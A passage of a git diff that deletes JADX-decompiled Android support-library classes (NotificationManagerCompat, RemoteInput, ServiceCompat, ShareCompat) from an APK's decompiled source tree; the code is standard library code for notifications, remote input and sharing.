- } - IMPL.postNotification(this.mNotificationManager, str, i, notification); - } - - public boolean areNotificationsEnabled() { - return IMPL.areNotificationsEnabled(this.mContext, this.mNotificationManager); - } - - public int getImportance() { - return IMPL.getImportance(this.mNotificationManager); - } - - public static Set getEnabledListenerPackages(Context context) { - Set set; - String string = Settings.Secure.getString(context.getContentResolver(), SETTING_ENABLED_NOTIFICATION_LISTENERS); - synchronized (sEnabledNotificationListenersLock) { - if (string != null) { - if (!string.equals(sEnabledNotificationListeners)) { - String[] split = string.split(":"); - HashSet hashSet = new HashSet(split.length); - for (String str : split) { - ComponentName unflattenFromString = ComponentName.unflattenFromString(str); - if (unflattenFromString != null) { - hashSet.add(unflattenFromString.getPackageName()); - } - } - sEnabledNotificationListenerPackages = hashSet; - sEnabledNotificationListeners = string; - } - } - set = sEnabledNotificationListenerPackages; - } - return set; - } - - private static boolean useSideChannelForNotification(Notification notification) { - Bundle extras = NotificationCompat.getExtras(notification); - return extras != null && extras.getBoolean(EXTRA_USE_SIDE_CHANNEL); - } - - private void pushSideChannelQueue(Task task) { - synchronized (sLock) { - if (sSideChannelManager == null) { - sSideChannelManager = new SideChannelManager(this.mContext.getApplicationContext()); - } - sSideChannelManager.queueTask(task); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SideChannelManager implements Handler.Callback, ServiceConnection { - private static final String KEY_BINDER = "binder"; - private static final int MSG_QUEUE_TASK = 0; - private static final int MSG_RETRY_LISTENER_QUEUE = 3; - private static final int MSG_SERVICE_CONNECTED = 1; - private static final int MSG_SERVICE_DISCONNECTED = 2; - private final Context mContext; - private final Handler mHandler; - private final HandlerThread mHandlerThread; - private final Map mRecordMap = new HashMap(); - private Set mCachedEnabledPackages = new HashSet(); - - public SideChannelManager(Context context) { - this.mContext = context; - HandlerThread handlerThread = new HandlerThread("NotificationManagerCompat"); - this.mHandlerThread = handlerThread; - handlerThread.start(); - this.mHandler = new Handler(handlerThread.getLooper(), this); - } - - public void queueTask(Task task) { - this.mHandler.obtainMessage(0, task).sendToTarget(); - } - - @Override // android.os.Handler.Callback - public boolean handleMessage(Message message) { - int i = message.what; - if (i == 0) { - handleQueueTask((Task) message.obj); - return true; - } else if (i == 1) { - ServiceConnectedEvent serviceConnectedEvent = (ServiceConnectedEvent) message.obj; - handleServiceConnected(serviceConnectedEvent.componentName, serviceConnectedEvent.iBinder); - return true; - } else if (i == 2) { - handleServiceDisconnected((ComponentName) message.obj); - return true; - } else if (i != 3) { - return false; - } else { - handleRetryListenerQueue((ComponentName) message.obj); - return true; - } - } - - private void handleQueueTask(Task task) { - updateListenerMap(); - for (ListenerRecord listenerRecord : this.mRecordMap.values()) { - listenerRecord.taskQueue.add(task); - processListenerQueue(listenerRecord); - } - } - - private void handleServiceConnected(ComponentName componentName, IBinder iBinder) { - ListenerRecord listenerRecord = this.mRecordMap.get(componentName); - if (listenerRecord != null) { - listenerRecord.service = INotificationSideChannel.Stub.asInterface(iBinder); - listenerRecord.retryCount = 0; - processListenerQueue(listenerRecord); - } - } - - private void handleServiceDisconnected(ComponentName componentName) { - ListenerRecord listenerRecord = this.mRecordMap.get(componentName); - if (listenerRecord != null) { - ensureServiceUnbound(listenerRecord); - } - } - - private void handleRetryListenerQueue(ComponentName componentName) { - ListenerRecord listenerRecord = this.mRecordMap.get(componentName); - if (listenerRecord != null) { - processListenerQueue(listenerRecord); - } - } - - @Override // android.content.ServiceConnection - public void onServiceConnected(ComponentName componentName, IBinder iBinder) { - if (Log.isLoggable(NotificationManagerCompat.TAG, 3)) { - Log.d(NotificationManagerCompat.TAG, "Connected to service " + componentName); - } - this.mHandler.obtainMessage(1, new ServiceConnectedEvent(componentName, iBinder)).sendToTarget(); - } - - @Override // android.content.ServiceConnection - public void onServiceDisconnected(ComponentName componentName) { - if (Log.isLoggable(NotificationManagerCompat.TAG, 3)) { - Log.d(NotificationManagerCompat.TAG, "Disconnected from service " + componentName); - } - this.mHandler.obtainMessage(2, componentName).sendToTarget(); - } - - private void updateListenerMap() { - Set enabledListenerPackages = NotificationManagerCompat.getEnabledListenerPackages(this.mContext); - if (enabledListenerPackages.equals(this.mCachedEnabledPackages)) { - return; - } - this.mCachedEnabledPackages = enabledListenerPackages; - List queryIntentServices = this.mContext.getPackageManager().queryIntentServices(new Intent().setAction(NotificationManagerCompat.ACTION_BIND_SIDE_CHANNEL), 4); - HashSet hashSet = new HashSet(); - for (ResolveInfo resolveInfo : queryIntentServices) { - if (enabledListenerPackages.contains(resolveInfo.serviceInfo.packageName)) { - ComponentName componentName = new ComponentName(resolveInfo.serviceInfo.packageName, resolveInfo.serviceInfo.name); - if (resolveInfo.serviceInfo.permission != null) { - Log.w(NotificationManagerCompat.TAG, "Permission present on component " + componentName + ", not adding listener record."); - } else { - hashSet.add(componentName); - } - } - } - for (ComponentName componentName2 : hashSet) { - if (!this.mRecordMap.containsKey(componentName2)) { - if (Log.isLoggable(NotificationManagerCompat.TAG, 3)) { - Log.d(NotificationManagerCompat.TAG, "Adding listener record for " + componentName2); - } - this.mRecordMap.put(componentName2, new ListenerRecord(componentName2)); - } - } - Iterator> it = this.mRecordMap.entrySet().iterator(); - while (it.hasNext()) { - Map.Entry next = it.next(); - if (!hashSet.contains(next.getKey())) { - if (Log.isLoggable(NotificationManagerCompat.TAG, 3)) { - Log.d(NotificationManagerCompat.TAG, "Removing listener record for " + next.getKey()); - } - ensureServiceUnbound(next.getValue()); - it.remove(); - } - } - } - - private boolean ensureServiceBound(ListenerRecord listenerRecord) { - if (listenerRecord.bound) { - return true; - } - listenerRecord.bound = this.mContext.bindService(new Intent(NotificationManagerCompat.ACTION_BIND_SIDE_CHANNEL).setComponent(listenerRecord.componentName), this, NotificationManagerCompat.SIDE_CHANNEL_BIND_FLAGS); - if (listenerRecord.bound) { - listenerRecord.retryCount = 0; - } else { - Log.w(NotificationManagerCompat.TAG, "Unable to bind to listener " + listenerRecord.componentName); - this.mContext.unbindService(this); - } - return listenerRecord.bound; - } - - private void ensureServiceUnbound(ListenerRecord listenerRecord) { - if (listenerRecord.bound) { - this.mContext.unbindService(this); - listenerRecord.bound = false; - } - listenerRecord.service = null; - } - - private void scheduleListenerRetry(ListenerRecord listenerRecord) { - if (this.mHandler.hasMessages(3, listenerRecord.componentName)) { - return; - } - listenerRecord.retryCount++; - if (listenerRecord.retryCount > 6) { - Log.w(NotificationManagerCompat.TAG, "Giving up on delivering " + listenerRecord.taskQueue.size() + " tasks to " + listenerRecord.componentName + " after " + listenerRecord.retryCount + " retries"); - listenerRecord.taskQueue.clear(); - return; - } - int i = (1 << (listenerRecord.retryCount - 1)) * 1000; - if (Log.isLoggable(NotificationManagerCompat.TAG, 3)) { - Log.d(NotificationManagerCompat.TAG, "Scheduling retry for " + i + " ms"); - } - this.mHandler.sendMessageDelayed(this.mHandler.obtainMessage(3, listenerRecord.componentName), i); - } - - private void processListenerQueue(ListenerRecord listenerRecord) { - if (Log.isLoggable(NotificationManagerCompat.TAG, 3)) { - Log.d(NotificationManagerCompat.TAG, "Processing component " + listenerRecord.componentName + ", " + listenerRecord.taskQueue.size() + " queued tasks"); - } - if (listenerRecord.taskQueue.isEmpty()) { - return; - } - if (!ensureServiceBound(listenerRecord) || listenerRecord.service == null) { - scheduleListenerRetry(listenerRecord); - return; - } - while (true) { - Task peek = listenerRecord.taskQueue.peek(); - if (peek == null) { - break; - } - try { - if (Log.isLoggable(NotificationManagerCompat.TAG, 3)) { - Log.d(NotificationManagerCompat.TAG, "Sending task " + peek); - } - peek.send(listenerRecord.service); - listenerRecord.taskQueue.remove(); - } catch (DeadObjectException unused) { - if (Log.isLoggable(NotificationManagerCompat.TAG, 3)) { - Log.d(NotificationManagerCompat.TAG, "Remote service has died: " + listenerRecord.componentName); - } - } catch (RemoteException e) { - Log.w(NotificationManagerCompat.TAG, "RemoteException communicating with " + listenerRecord.componentName, e); - } - } - if (listenerRecord.taskQueue.isEmpty()) { - return; - } - scheduleListenerRetry(listenerRecord); - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class ListenerRecord { - public final ComponentName componentName; - public INotificationSideChannel service; - public boolean bound = false; - public LinkedList taskQueue = new LinkedList<>(); - public int retryCount = 0; - - public ListenerRecord(ComponentName componentName) { - this.componentName = componentName; - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class ServiceConnectedEvent { - final ComponentName componentName; - final IBinder iBinder; - - public ServiceConnectedEvent(ComponentName componentName, IBinder iBinder) { - this.componentName = componentName; - this.iBinder = iBinder; - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class NotifyTask implements Task { - final int id; - final Notification notif; - final String packageName; - final String tag; - - public NotifyTask(String str, int i, String str2, Notification notification) { - this.packageName = str; - this.id = i; - this.tag = str2; - this.notif = notification; - } - - @Override // android.support.v4.app.NotificationManagerCompat.Task - public void send(INotificationSideChannel iNotificationSideChannel) throws RemoteException { - iNotificationSideChannel.notify(this.packageName, this.id, this.tag, this.notif); - } - - public String toString() { - StringBuilder sb = new StringBuilder("NotifyTask[packageName:"); - sb.append(this.packageName); - sb.append(", id:").append(this.id); - sb.append(", tag:").append(this.tag); - sb.append("]"); - return sb.toString(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class CancelTask implements Task { - final boolean all; - final int id; - final String packageName; - final String tag; - - public CancelTask(String str) { - this.packageName = str; - this.id = 0; - this.tag = null; - this.all = true; - } - - public CancelTask(String str, int i, String str2) { - this.packageName = str; - this.id = i; - this.tag = str2; - this.all = false; - } - - @Override // android.support.v4.app.NotificationManagerCompat.Task - public void send(INotificationSideChannel iNotificationSideChannel) throws RemoteException { - if (this.all) { - iNotificationSideChannel.cancelAll(this.packageName); - } else { - iNotificationSideChannel.cancel(this.packageName, this.id, this.tag); - } - } - - public String toString() { - StringBuilder sb = new StringBuilder("CancelTask[packageName:"); - sb.append(this.packageName); - sb.append(", id:").append(this.id); - sb.append(", tag:").append(this.tag); - sb.append(", all:").append(this.all); - sb.append("]"); - return sb.toString(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompatApi24.java deleted file mode 100644 index 5fcf4ec..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompatApi24.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.app; - -import android.app.NotificationManager; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationManagerCompatApi24 { - NotificationManagerCompatApi24() { - } - - public static boolean areNotificationsEnabled(NotificationManager notificationManager) { - return notificationManager.areNotificationsEnabled(); - } - - public static int getImportance(NotificationManager notificationManager) { - return notificationManager.getImportance(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompatIceCreamSandwich.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompatIceCreamSandwich.java deleted file mode 100644 index 00df05b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompatIceCreamSandwich.java +++ /dev/null @@ -1,8 +0,0 @@ -package android.support.v4.app; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationManagerCompatIceCreamSandwich { - static final int SIDE_CHANNEL_BIND_FLAGS = 33; - - NotificationManagerCompatIceCreamSandwich() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompatKitKat.java deleted file mode 100644 index 476a171..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompatKitKat.java +++ /dev/null @@ -1,27 +0,0 @@ -package android.support.v4.app; - -import android.app.AppOpsManager; -import android.content.Context; -import android.content.pm.ApplicationInfo; -import java.lang.reflect.InvocationTargetException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationManagerCompatKitKat { - private static final String CHECK_OP_NO_THROW = "checkOpNoThrow"; - private static final String OP_POST_NOTIFICATION = "OP_POST_NOTIFICATION"; - - NotificationManagerCompatKitKat() { - } - - public static boolean areNotificationsEnabled(Context context) { - AppOpsManager appOpsManager = (AppOpsManager) context.getSystemService("appops"); - ApplicationInfo applicationInfo = context.getApplicationInfo(); - String packageName = context.getApplicationContext().getPackageName(); - int i = applicationInfo.uid; - try { - Class cls = Class.forName(AppOpsManager.class.getName()); - return ((Integer) cls.getMethod(CHECK_OP_NO_THROW, Integer.TYPE, Integer.TYPE, String.class).invoke(appOpsManager, Integer.valueOf(((Integer) cls.getDeclaredField(OP_POST_NOTIFICATION).get(Integer.class)).intValue()), Integer.valueOf(i), packageName)).intValue() == 0; - } catch (ClassNotFoundException | IllegalAccessException | NoSuchFieldException | NoSuchMethodException | RuntimeException | InvocationTargetException unused) { - return true; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInput.java b/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInput.java deleted file mode 100644 index 2ffe865..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInput.java +++ /dev/null @@ -1,172 +0,0 @@ -package android.support.v4.app; - -import android.content.Intent; -import android.os.Bundle; -import android.support.v4.app.RemoteInputCompatBase; -import android.util.Log; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class RemoteInput extends RemoteInputCompatBase.RemoteInput { - public static final String EXTRA_RESULTS_DATA = "android.remoteinput.resultsData"; - public static final String RESULTS_CLIP_LABEL = "android.remoteinput.results"; - private static final String TAG = "RemoteInput"; - private final boolean mAllowFreeFormInput; - private final CharSequence[] mChoices; - private final Bundle mExtras; - private final CharSequence mLabel; - private final String mResultKey; - private static final Impl IMPL = new ImplApi20(); - public static final RemoteInputCompatBase.RemoteInput.Factory FACTORY = new RemoteInputCompatBase.RemoteInput.Factory() { // from class: android.support.v4.app.RemoteInput.1 - @Override // android.support.v4.app.RemoteInputCompatBase.RemoteInput.Factory - public RemoteInput build(String str, CharSequence charSequence, CharSequence[] charSequenceArr, boolean z, Bundle bundle) { - return new RemoteInput(str, charSequence, charSequenceArr, z, bundle); - } - - @Override // android.support.v4.app.RemoteInputCompatBase.RemoteInput.Factory - public RemoteInput[] newArray(int i) { - return new RemoteInput[i]; - } - }; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface Impl { - void addResultsToIntent(RemoteInput[] remoteInputArr, Intent intent, Bundle bundle); - - Bundle getResultsFromIntent(Intent intent); - } - - RemoteInput(String str, CharSequence charSequence, CharSequence[] charSequenceArr, boolean z, Bundle bundle) { - this.mResultKey = str; - this.mLabel = charSequence; - this.mChoices = charSequenceArr; - this.mAllowFreeFormInput = z; - this.mExtras = bundle; - } - - @Override // android.support.v4.app.RemoteInputCompatBase.RemoteInput - public String getResultKey() { - return this.mResultKey; - } - - @Override // android.support.v4.app.RemoteInputCompatBase.RemoteInput - public CharSequence getLabel() { - return this.mLabel; - } - - @Override // android.support.v4.app.RemoteInputCompatBase.RemoteInput - public CharSequence[] getChoices() { - return this.mChoices; - } - - @Override // android.support.v4.app.RemoteInputCompatBase.RemoteInput - public boolean getAllowFreeFormInput() { - return this.mAllowFreeFormInput; - } - - @Override // android.support.v4.app.RemoteInputCompatBase.RemoteInput - public Bundle getExtras() { - return this.mExtras; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class Builder { - private CharSequence[] mChoices; - private CharSequence mLabel; - private final String mResultKey; - private boolean mAllowFreeFormInput = true; - private Bundle mExtras = new Bundle(); - - public Builder(String str) { - if (str == null) { - throw new IllegalArgumentException("Result key can't be null"); - } - this.mResultKey = str; - } - - public Builder setLabel(CharSequence charSequence) { - this.mLabel = charSequence; - return this; - } - - public Builder setChoices(CharSequence[] charSequenceArr) { - this.mChoices = charSequenceArr; - return this; - } - - public Builder setAllowFreeFormInput(boolean z) { - this.mAllowFreeFormInput = z; - return this; - } - - public Builder addExtras(Bundle bundle) { - if (bundle != null) { - this.mExtras.putAll(bundle); - } - return this; - } - - public Bundle getExtras() { - return this.mExtras; - } - - public RemoteInput build() { - return new RemoteInput(this.mResultKey, this.mLabel, this.mChoices, this.mAllowFreeFormInput, this.mExtras); - } - } - - public static Bundle getResultsFromIntent(Intent intent) { - return IMPL.getResultsFromIntent(intent); - } - - public static void addResultsToIntent(RemoteInput[] remoteInputArr, Intent intent, Bundle bundle) { - IMPL.addResultsToIntent(remoteInputArr, intent, bundle); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ImplBase implements Impl { - ImplBase() { - } - - @Override // android.support.v4.app.RemoteInput.Impl - public Bundle getResultsFromIntent(Intent intent) { - Log.w(RemoteInput.TAG, "RemoteInput is only supported from API Level 16"); - return null; - } - - @Override // android.support.v4.app.RemoteInput.Impl - public void addResultsToIntent(RemoteInput[] remoteInputArr, Intent intent, Bundle bundle) { - Log.w(RemoteInput.TAG, "RemoteInput is only supported from API Level 16"); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ImplJellybean implements Impl { - ImplJellybean() { - } - - @Override // android.support.v4.app.RemoteInput.Impl - public Bundle getResultsFromIntent(Intent intent) { - return RemoteInputCompatJellybean.getResultsFromIntent(intent); - } - - @Override // android.support.v4.app.RemoteInput.Impl - public void addResultsToIntent(RemoteInput[] remoteInputArr, Intent intent, Bundle bundle) { - RemoteInputCompatJellybean.addResultsToIntent(remoteInputArr, intent, bundle); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ImplApi20 implements Impl { - ImplApi20() { - } - - @Override // android.support.v4.app.RemoteInput.Impl - public Bundle getResultsFromIntent(Intent intent) { - return RemoteInputCompatApi20.getResultsFromIntent(intent); - } - - @Override // android.support.v4.app.RemoteInput.Impl - public void addResultsToIntent(RemoteInput[] remoteInputArr, Intent intent, Bundle bundle) { - RemoteInputCompatApi20.addResultsToIntent(remoteInputArr, intent, bundle); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInputCompatApi20.java b/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInputCompatApi20.java deleted file mode 100644 index b97424f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInputCompatApi20.java +++ /dev/null @@ -1,47 +0,0 @@ -package android.support.v4.app; - -import android.app.RemoteInput; -import android.content.Intent; -import android.os.Bundle; -import android.support.v4.app.RemoteInputCompatBase; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class RemoteInputCompatApi20 { - RemoteInputCompatApi20() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static RemoteInputCompatBase.RemoteInput[] toCompat(android.app.RemoteInput[] remoteInputArr, RemoteInputCompatBase.RemoteInput.Factory factory) { - if (remoteInputArr == null) { - return null; - } - RemoteInputCompatBase.RemoteInput[] newArray = factory.newArray(remoteInputArr.length); - for (int i = 0; i < remoteInputArr.length; i++) { - android.app.RemoteInput remoteInput = remoteInputArr[i]; - newArray[i] = factory.build(remoteInput.getResultKey(), remoteInput.getLabel(), remoteInput.getChoices(), remoteInput.getAllowFreeFormInput(), remoteInput.getExtras()); - } - return newArray; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static android.app.RemoteInput[] fromCompat(RemoteInputCompatBase.RemoteInput[] remoteInputArr) { - if (remoteInputArr == null) { - return null; - } - android.app.RemoteInput[] remoteInputArr2 = new android.app.RemoteInput[remoteInputArr.length]; - for (int i = 0; i < remoteInputArr.length; i++) { - RemoteInputCompatBase.RemoteInput remoteInput = remoteInputArr[i]; - remoteInputArr2[i] = new RemoteInput.Builder(remoteInput.getResultKey()).setLabel(remoteInput.getLabel()).setChoices(remoteInput.getChoices()).setAllowFreeFormInput(remoteInput.getAllowFreeFormInput()).addExtras(remoteInput.getExtras()).build(); - } - return remoteInputArr2; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Bundle getResultsFromIntent(Intent intent) { - return android.app.RemoteInput.getResultsFromIntent(intent); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void addResultsToIntent(RemoteInputCompatBase.RemoteInput[] remoteInputArr, Intent intent, Bundle bundle) { - android.app.RemoteInput.addResultsToIntent(fromCompat(remoteInputArr), intent, bundle); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInputCompatBase.java b/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInputCompatBase.java deleted file mode 100644 index 612cca5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInputCompatBase.java +++ /dev/null @@ -1,35 +0,0 @@ -package android.support.v4.app; - -import android.os.Bundle; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class RemoteInputCompatBase { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class RemoteInput { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Factory { - RemoteInput build(String str, CharSequence charSequence, CharSequence[] charSequenceArr, boolean z, Bundle bundle); - - RemoteInput[] newArray(int i); - } - - /* JADX INFO: Access modifiers changed from: protected */ - public abstract boolean getAllowFreeFormInput(); - - /* JADX INFO: Access modifiers changed from: protected */ - public abstract CharSequence[] getChoices(); - - /* JADX INFO: Access modifiers changed from: protected */ - public abstract Bundle getExtras(); - - /* JADX INFO: Access modifiers changed from: protected */ - public abstract CharSequence getLabel(); - - /* JADX INFO: Access modifiers changed from: protected */ - public abstract String getResultKey(); - } - - RemoteInputCompatBase() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInputCompatJellybean.java b/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInputCompatJellybean.java deleted file mode 100644 index 83b0b3b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/RemoteInputCompatJellybean.java +++ /dev/null @@ -1,85 +0,0 @@ -package android.support.v4.app; - -import android.content.ClipData; -import android.content.ClipDescription; -import android.content.Intent; -import android.os.Bundle; -import android.support.v4.app.RemoteInputCompatBase; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class RemoteInputCompatJellybean { - public static final String EXTRA_RESULTS_DATA = "android.remoteinput.resultsData"; - private static final String KEY_ALLOW_FREE_FORM_INPUT = "allowFreeFormInput"; - private static final String KEY_CHOICES = "choices"; - private static final String KEY_EXTRAS = "extras"; - private static final String KEY_LABEL = "label"; - private static final String KEY_RESULT_KEY = "resultKey"; - public static final String RESULTS_CLIP_LABEL = "android.remoteinput.results"; - - RemoteInputCompatJellybean() { - } - - static RemoteInputCompatBase.RemoteInput fromBundle(Bundle bundle, RemoteInputCompatBase.RemoteInput.Factory factory) { - return factory.build(bundle.getString(KEY_RESULT_KEY), bundle.getCharSequence(KEY_LABEL), bundle.getCharSequenceArray(KEY_CHOICES), bundle.getBoolean(KEY_ALLOW_FREE_FORM_INPUT), bundle.getBundle(KEY_EXTRAS)); - } - - static Bundle toBundle(RemoteInputCompatBase.RemoteInput remoteInput) { - Bundle bundle = new Bundle(); - bundle.putString(KEY_RESULT_KEY, remoteInput.getResultKey()); - bundle.putCharSequence(KEY_LABEL, remoteInput.getLabel()); - bundle.putCharSequenceArray(KEY_CHOICES, remoteInput.getChoices()); - bundle.putBoolean(KEY_ALLOW_FREE_FORM_INPUT, remoteInput.getAllowFreeFormInput()); - bundle.putBundle(KEY_EXTRAS, remoteInput.getExtras()); - return bundle; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static RemoteInputCompatBase.RemoteInput[] fromBundleArray(Bundle[] bundleArr, RemoteInputCompatBase.RemoteInput.Factory factory) { - if (bundleArr == null) { - return null; - } - RemoteInputCompatBase.RemoteInput[] newArray = factory.newArray(bundleArr.length); - for (int i = 0; i < bundleArr.length; i++) { - newArray[i] = fromBundle(bundleArr[i], factory); - } - return newArray; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Bundle[] toBundleArray(RemoteInputCompatBase.RemoteInput[] remoteInputArr) { - if (remoteInputArr == null) { - return null; - } - Bundle[] bundleArr = new Bundle[remoteInputArr.length]; - for (int i = 0; i < remoteInputArr.length; i++) { - bundleArr[i] = toBundle(remoteInputArr[i]); - } - return bundleArr; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Bundle getResultsFromIntent(Intent intent) { - ClipData clipData = intent.getClipData(); - if (clipData == null) { - return null; - } - ClipDescription description = clipData.getDescription(); - if (description.hasMimeType("text/vnd.android.intent") && description.getLabel().equals("android.remoteinput.results")) { - return (Bundle) clipData.getItemAt(0).getIntent().getExtras().getParcelable("android.remoteinput.resultsData"); - } - return null; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void addResultsToIntent(RemoteInputCompatBase.RemoteInput[] remoteInputArr, Intent intent, Bundle bundle) { - Bundle bundle2 = new Bundle(); - for (RemoteInputCompatBase.RemoteInput remoteInput : remoteInputArr) { - Object obj = bundle.get(remoteInput.getResultKey()); - if (obj instanceof CharSequence) { - bundle2.putCharSequence(remoteInput.getResultKey(), (CharSequence) obj); - } - } - Intent intent2 = new Intent(); - intent2.putExtra("android.remoteinput.resultsData", bundle2); - intent.setClipData(ClipData.newIntent("android.remoteinput.results", intent2)); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ServiceCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ServiceCompat.java deleted file mode 100644 index 24497eb..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ServiceCompat.java +++ /dev/null @@ -1,60 +0,0 @@ -package android.support.v4.app; - -import android.app.Service; -import android.support.v4.os.BuildCompat; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ServiceCompat { - static final ServiceCompatImpl IMPL; - public static final int START_STICKY = 1; - public static final int STOP_FOREGROUND_DETACH = 2; - public static final int STOP_FOREGROUND_REMOVE = 1; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ServiceCompatImpl { - void stopForeground(Service service, int i); - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface StopForegroundFlags { - } - - private ServiceCompat() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseServiceCompatImpl implements ServiceCompatImpl { - BaseServiceCompatImpl() { - } - - @Override // android.support.v4.app.ServiceCompat.ServiceCompatImpl - public void stopForeground(Service service, int i) { - service.stopForeground((i & 1) != 0); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class Api24ServiceCompatImpl implements ServiceCompatImpl { - Api24ServiceCompatImpl() { - } - - @Override // android.support.v4.app.ServiceCompat.ServiceCompatImpl - public void stopForeground(Service service, int i) { - ServiceCompatApi24.stopForeground(service, i); - } - } - - static { - if (BuildCompat.isAtLeastN()) { - IMPL = new Api24ServiceCompatImpl(); - } else { - IMPL = new BaseServiceCompatImpl(); - } - } - - public static void stopForeground(Service service, int i) { - IMPL.stopForeground(service, i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ServiceCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ServiceCompatApi24.java deleted file mode 100644 index 62dae55..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ServiceCompatApi24.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.app; - -import android.app.Service; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ServiceCompatApi24 { - ServiceCompatApi24() { - } - - public static void stopForeground(Service service, int i) { - service.stopForeground(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ShareCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ShareCompat.java deleted file mode 100644 index 3d356b2..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ShareCompat.java +++ /dev/null @@ -1,539 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.ComponentName; -import android.content.Intent; -import android.content.pm.PackageManager; -import android.graphics.drawable.Drawable; -import android.net.Uri; -import android.support.v4.content.IntentCompat; -import android.text.Html; -import android.text.Spanned; -import android.util.Log; -import android.view.Menu; -import android.view.MenuItem; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ShareCompat { - public static final String EXTRA_CALLING_ACTIVITY = "android.support.v4.app.EXTRA_CALLING_ACTIVITY"; - public static final String EXTRA_CALLING_PACKAGE = "android.support.v4.app.EXTRA_CALLING_PACKAGE"; - static ShareCompatImpl IMPL = new ShareCompatImplJB(); - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface ShareCompatImpl { - void configureMenuItem(MenuItem menuItem, IntentBuilder intentBuilder); - - String escapeHtml(CharSequence charSequence); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ShareCompatImplBase implements ShareCompatImpl { - ShareCompatImplBase() { - } - - @Override // android.support.v4.app.ShareCompat.ShareCompatImpl - public void configureMenuItem(MenuItem menuItem, IntentBuilder intentBuilder) { - menuItem.setIntent(intentBuilder.createChooserIntent()); - } - - @Override // android.support.v4.app.ShareCompat.ShareCompatImpl - public String escapeHtml(CharSequence charSequence) { - StringBuilder sb = new StringBuilder(); - withinStyle(sb, charSequence, 0, charSequence.length()); - return sb.toString(); - } - - private static void withinStyle(StringBuilder sb, CharSequence charSequence, int i, int i2) { - while (i < i2) { - char charAt = charSequence.charAt(i); - if (charAt == '<') { - sb.append("<"); - } else if (charAt == '>') { - sb.append(">"); - } else if (charAt 